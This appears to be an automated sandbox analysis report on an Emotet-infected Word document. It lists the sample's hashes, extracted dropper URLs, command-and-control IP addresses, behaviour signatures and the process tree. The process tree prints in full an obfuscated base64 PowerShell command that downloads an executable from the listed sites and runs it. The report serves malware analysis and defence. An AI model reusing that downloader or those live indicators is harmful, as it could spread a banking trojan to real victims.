Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    132s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    17/09/2020, 14:34

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e2_8245f1e6e844bf5725007fd5e4466bd24473fec32d4c47bb3fc445bac627b9be_2020-09-17__143236._doc.doc
  • Size 172KB
  • Sample200917-4ce12mtdja
  • SHA256 8245f1e6e844bf5725007fd5e4466bd24473fec32d4c47bb3fc445bac627b9be
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://rhyton-building.com/wp-admin/Ey8qV0/
  • exe.dropper

    http://ezzll.com/wp-includes/KIU2WU/
  • exe.dropper

    http://tellmetech.com/wp-content/4ka/
  • exe.dropper

    https://elmundodelareposteria.com/wp-admin/0PVVmJm/
  • exe.dropper

    https://manuelrozas.cl/assets/XWN/
  • exe.dropper

    https://haritdharni.com/wp-admin/bZM/
  • exe.dropper

    https://theworks-group.com/site/pQT6j5/

Extracted

Family

  • emotet

C2

  • 74.219.172.26:80

  • 134.209.36.254:8080

  • 104.156.59.7:8080

  • 120.138.30.150:8080

  • 194.187.133.160:443

  • 104.236.246.93:8080

  • 74.208.45.104:8080

  • 78.187.156.31:80

  • 187.161.206.24:80

  • 94.23.216.33:80

  • 172.91.208.86:80

  • 91.211.88.52:7080

  • 50.91.114.38:80

  • 200.123.150.89:443

  • 121.124.124.40:7080

  • 62.75.141.82:80

  • 5.196.74.210:8080

  • 24.137.76.62:80

  • 85.105.205.77:8080

  • 139.130.242.43:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_8245f1e6e844bf5725007fd5e4466bd24473fec32d4c47bb3fc445bac627b9be_2020-09-17__143236._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:616
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -encod JABVAGgAeABxADQAbAB1AD0AKAAoACcAQwBzACcAKwAnAGQAaQBuACcAKQArACcAawAnACsAJwAwACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBmAEkATABFAFwAdQBvAGYAVwBzAFUAdgBcAGwAbgB4AFkATgA2AF8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAGAAQwBgAFUAcgBJAFQAeQBwAHIAYABvAFQATwBjAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACgAJwBzADEAMgAsACcAKwAnACAAdAAnACsAJwBsACcAKQArACgAJwBzACcAKwAnADEAJwArACcAMQAsACAAdABsAHMAJwApACkAOwAkAEYAegBnAGEAdQAwAGUAIAA9ACAAKAAnAE0AJwArACcAagBsACcAKwAoACcAegBpAGYAJwArACcAbQB1ACcAKQApADsAJABDADQAaQA5AHgANQBuAD0AKAAoACcAUgBoACcAKwAnAG0AJwApACsAJwBtACcAKwAoACcAegBxACcAKwAnAHMAJwApACkAOwAkAEQAOAA5AGkAdwB2AGsAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBiAEMAJwArACcAUgBVAG8AZgB3ACcAKQArACcAcwB1ACcAKwAnAHYAYgAnACsAKAAnAEMAUgBMAG4AJwArACcAeAB5ACcAKQArACcAbgA2ACcAKwAnAF8AYgAnACsAJwBDACcAKwAnAFIAJwApACAAIAAtAGMAUgBFAHAAbABhAEMAZQAoACcAYgBDACcAKwAnAFIAJwApACwAWwBjAGgAYQBSAF0AOQAyACkAKwAkAEYAegBnAGEAdQAwAGUAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABTAHQAYQBxAG0AcgBmAD0AKAAnAEEAJwArACgAJwBnAGUAJwArACcAdAAnACkAKwAoACcAawBrACcAKwAnAHkAJwApACkAOwAkAFcAdQBiADMAbQAxAHQAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAEIAQwBMAGkAZQBuAFQAOwAkAEEAbgB6AGwAOQB1AGsAPQAoACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6ACcAKwAnAC8ALwAnACkAKwAoACcAcgBoACcAKwAnAHkAJwApACsAJwB0ACcAKwAnAG8AJwArACcAbgAtACcAKwAoACcAYgB1ACcAKwAnAGkAbABkACcAKQArACgAJwBpAG4AJwArACcAZwAnACkAKwAnAC4AYwAnACsAKAAnAG8AbQAvACcAKwAnAHcAcAAtAGEAJwApACsAKAAnAGQAbQBpAG4ALwAnACsAJwBFAHkAOABxAFYAJwArACcAMAAvACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAOgAnACkAKwAoACcALwAvACcAKwAnAGUAegAnACkAKwAoACcAegBsACcAKwAnAGwAJwApACsAKAAnAC4AJwArACcAYwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AaQBuACcAKwAnAGMAJwApACsAJwBsAHUAJwArACgAJwBkAGUAJwArACcAcwAvAEsASQBVADIAVwBVACcAKwAnAC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAJwArACcAcAA6AC8ALwB0ACcAKwAnAGUAbAAnACkAKwAoACcAbAAnACsAJwBtAGUAJwApACsAKAAnAHQAJwArACcAZQBjACcAKQArACgAJwBoAC4AJwArACcAYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwBwAC0AYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AJwApACsAKAAnAHQAJwArACcALwA0AGsAJwApACsAJwBhACcAKwAoACcALwAnACsAJwAqAGgAdAB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AZQBsAG0AJwApACsAKAAnAHUAbgBkAG8AJwArACcAZABlAGwAJwArACcAYQByACcAKQArACgAJwBlAHAAbwBzAHQAJwArACcAZQAnACkAKwAnAHIAJwArACcAaQAnACsAJwBhACcAKwAnAC4AJwArACgAJwBjAG8AbQAnACsAJwAvAHcAcAAnACsAJwAtACcAKQArACgAJwBhACcAKwAnAGQAbQAnACkAKwAnAGkAJwArACgAJwBuAC8AMAAnACsAJwBQAFYAJwApACsAKAAnAFYAbQBKAG0ALwAqACcAKwAnAGgAJwArACcAdAAnACkAKwAoACcAdABwACcAKwAnAHMAOgAvAC8AbQBhACcAKQArACgAJwBuACcAKwAnAHUAZQAnACkAKwAnAGwAJwArACgAJwByAG8AegBhACcAKwAnAHMALgBjAGwALwAnACkAKwAnAGEAJwArACgAJwBzAHMAZQAnACsAJwB0ACcAKwAnAHMAJwArACcALwBYAFcATgAvACoAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnAHMAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAnAGgAJwArACgAJwBhAHIAJwArACcAaQB0AGQAaABhACcAKQArACgAJwByAG4AaQAuAGMAJwArACcAbwBtACcAKwAnAC8AJwApACsAKAAnAHcAcAAtAGEAJwArACcAZAAnACkAKwAoACcAbQBpAG4ALwBiACcAKwAnAFoATQAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAJwArACcAcwA6AC8ALwB0ACcAKQArACcAaABlACcAKwAoACcAdwAnACsAJwBvAHIAawBzAC0AZwByAG8AdQAnACsAJwBwACcAKwAnAC4AJwArACcAYwBvAG0AJwArACcALwBzACcAKQArACgAJwBpAHQAJwArACcAZQAvAHAAUQAnACkAKwAoACcAVAAnACsAJwA2AGoAJwApACsAJwA1AC8AJwApAC4AIgBTAFAAYABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAZQAxAHMAbABzAHEAPQAoACcAVAB1ACcAKwAnAHoAYwAnACsAKAAnAHgAJwArACcAbAA0ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAUAB2AHMAZQBkAG4AMwAgAGkAbgAgACQAQQBuAHoAbAA5AHUAawApAHsAdAByAHkAewAkAFcAdQBiADMAbQAxAHQALgAiAGQATwBXAG4AYABsAG8AQQBgAEQAYABGAEkAbABFACIAKAAkAFAAdgBzAGUAZABuADMALAAgACQARAA4ADkAaQB3AHYAawApADsAJABWADcAdAB4AG0AZABfAD0AKAAnAFEAJwArACgAJwA1ADkAcQAxACcAKwAnADYAbwAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABEADgAOQBpAHcAdgBrACkALgAiAEwAYABlAG4ARwBUAGgAIgAgAC0AZwBlACAAMgA4ADIANwA5ACkAIAB7AC4AKAAnAEkAbgB2AG8AJwArACcAawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEQAOAA5AGkAdwB2AGsAKQA7ACQATABqAHUAMQBfAHMAaAA9ACgAJwBJACcAKwAoACcAMQA0ACcAKwAnADQAJwApACsAKAAnAGQAJwArACcANAB6ACcAKQApADsAYgByAGUAYQBrADsAJABIAHoAcAAzAGEAdQBfAD0AKAAoACcAQwA3ACcAKwAnAHMAdQAnACkAKwAoACcAYQAwACcAKwAnADcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAcwBnAGMAaQBlADYAPQAoACgAJwBIAHYAJwArACcAXwBvACcAKQArACcAZwA1ACcAKwAnAHQAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1896
    • C:\Users\Admin\Uofwsuv\Lnxyn6_\Mjlzifmu.exe
      "C:\Users\Admin\Uofwsuv\Lnxyn6_\Mjlzifmu.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:572
      • C:\Windows\SysWOW64\mf\docprop.exe
        "C:\Windows\SysWOW64\mf\docprop.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1348

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/572-15-0x0000000000360000-0x0000000000370000-memory.dmp
        Download

        memory/572-14-0x00000000005C0000-0x00000000005D2000-memory.dmp
        Download

        memory/616-2-0x00000000088D0000-0x00000000088D4000-memory.dmp
        Download

        memory/1284-21-0x000007FEF70B0000-0x000007FEF732A000-memory.dmp
        Download

        memory/1348-19-0x0000000000240000-0x0000000000252000-memory.dmp
        Download

        memory/1348-20-0x0000000000260000-0x0000000000270000-memory.dmp
        Download

        memory/1896-7-0x000000001AC90000-0x000000001AC91000-memory.dmp
        Download

        memory/1896-11-0x000000001C3A0000-0x000000001C3A1000-memory.dmp
        Download

        memory/1896-10-0x000000001B540000-0x000000001B541000-memory.dmp
        Download

        memory/1896-6-0x0000000002480000-0x0000000002481000-memory.dmp
        Download

        memory/1896-8-0x00000000025B0000-0x00000000025B1000-memory.dmp
        Download

        memory/1896-5-0x000007FEEA370000-0x000007FEEAD5C000-memory.dmp
        Download

        memory/1896-9-0x0000000002370000-0x0000000002371000-memory.dmp
        Download